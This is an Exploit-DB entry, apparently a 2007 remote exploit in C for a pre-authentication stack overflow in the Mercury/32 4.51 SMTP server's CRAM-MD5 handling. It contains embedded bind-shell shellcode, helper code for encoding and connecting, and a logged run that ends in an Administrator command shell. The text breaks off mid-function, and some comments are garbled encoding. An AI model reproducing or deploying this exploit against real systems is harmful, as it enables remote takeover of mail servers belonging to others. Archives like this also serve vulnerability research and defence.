Exploit-DB #4301
Description: Mercury/32 Mail SMTPD 4.51 - SMTPD CRAM-MD5 Remote Overflow
Type: remote
Platform: windows
Date: 2007-08-22
Author: ZhenHan.Liu

Exploit:
/*
	Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
	Public Version 1.0
	http://www.ph4nt0m.org   
	2007-08-22
	
	Code by: Zhenhan.Liu
	Original POC: http://www.milw0rm.com/exploits/4294
	
	Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
	
	Our Mail-list: http://list.ph4nt0m.org  (Chinese)

  It will bind a cmdshell on port 1154 if successful.

Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org   2007-08-22

[*] connect to 127.0.0.1:25 ... OK!
[C] EHLO void#ph4nt0m.org
[S] 220 root ESMTP server ready.
[S] 250-root Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+
[C] Send Payload...
[-] Done! cmdshell@1154?

Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154
DNS fwd/rev mismatch: localhost != gnu
localhost [127.0.0.1] 1154 (?) open
Microsoft Windows XP [Â°Ã¦Â±Â¾ 5.1.2600]
(C) Â°Ã¦ÃˆÂ¨Ã‹Ã¹Ã“Ã 1985-2001 Microsoft Corp.

e:\MERCURY>whoami
whoami
Administrator
  

*/

#include <io.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")


/* win32_bind -  EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";



// Base64Ã—Ã–Â·Ã»Â¼Â¯
__inline char GetB64Char(int index)
{
    const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]+/";
    if (index >= 0 && index < 64)
	return szBase64Table[index];
    
    return '=';
}


// Â´Ã“Ã‹Â«Ã—Ã–Ã–ÃÃˆÂ¡ÂµÂ¥Ã—Ã–Â½Ãš
#define B0(a) (a & 0xFF)
#define B1(a) (a >> 8 & 0xFF)
#define B2(a) (a >> 16 & 0xFF)
#define B3(a) (a >> 24 & 0xFF)


// Â±Ã Ã‚Ã«ÂºÃ³ÂµÃ„Â³Â¤Â¶ÃˆÃ’Â»Â°Ã£Â±ÃˆÃ”Â­ÃŽÃ„Â¶Ã Ã•Â¼1/3ÂµÃ„Â´Ã¦Â´Â¢Â¿Ã•Â¼Ã¤Â£Â¬Ã‡Ã«Â±Â£Ã–Â¤base64codeÃ“ÃÃ—Ã£Â¹Â»ÂµÃ„Â¿Ã•Â¼Ã¤
inline int Base64Encode(char * base64code, const char * src, int src_len) 
{   
    if (src_len == 0)
	src_len = strlen(src);
    
    int len = 0;
    unsigned char* psrc = (unsigned char*)src;
    char * p64 = base64code;
    for (int i = 0; i < src_len - 3; i += 3)
    {
	unsigned long ulTmp = *(unsigned long*)psrc;
	register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F); 
	register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); 
	register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F); 
	register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F); 
	*((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24;
	len += 4;

	p64  += 4;

	psrc += 3;
    }
    
    // Â´Â¦Ã€Ã­Ã—Ã®ÂºÃ³Ã“Ã ÃÃ‚ÂµÃ„Â²Â»Ã—Ã£3Ã—Ã–Â½ÃšÂµÃ„Â¶Ã¶ÃŠÃ½Â¾Ã
    if (i < src_len)
    {
	int rest = src_len - i;
	unsigned long ulTmp = 0;
	for (int j = 0; j < rest; ++j)
	{
	    *(((unsigned char*)&ulTmp) + j) = *psrc++;
	}
	
	p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F); 
	p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); 
	p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '='; 
	p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '='; 
	p64 += 4; 
	len += 4;
    }
    
    *p64 = '\0'; 
    
    return len;
}


char* GetErrorMessage(DWORD dwMessageId)
{
    static  char ErrorMessage[1024];
    DWORD	 dwRet;

    dwRet = FormatMessage(
							FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options 
							NULL,			    // pointer to  message source 
							dwMessageId,		    // requested message identifier 
							0,			    //dwLanguageId
							ErrorMessage,		    //lpBuffer
							1024,			    //nSize	
							NULL			    //Arguments
							);

    if(dwRet)
		return ErrorMessage;
    else
    {
		sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId);
		return ErrorMessage;
    }

}


int MakeConnection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons((short)port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closes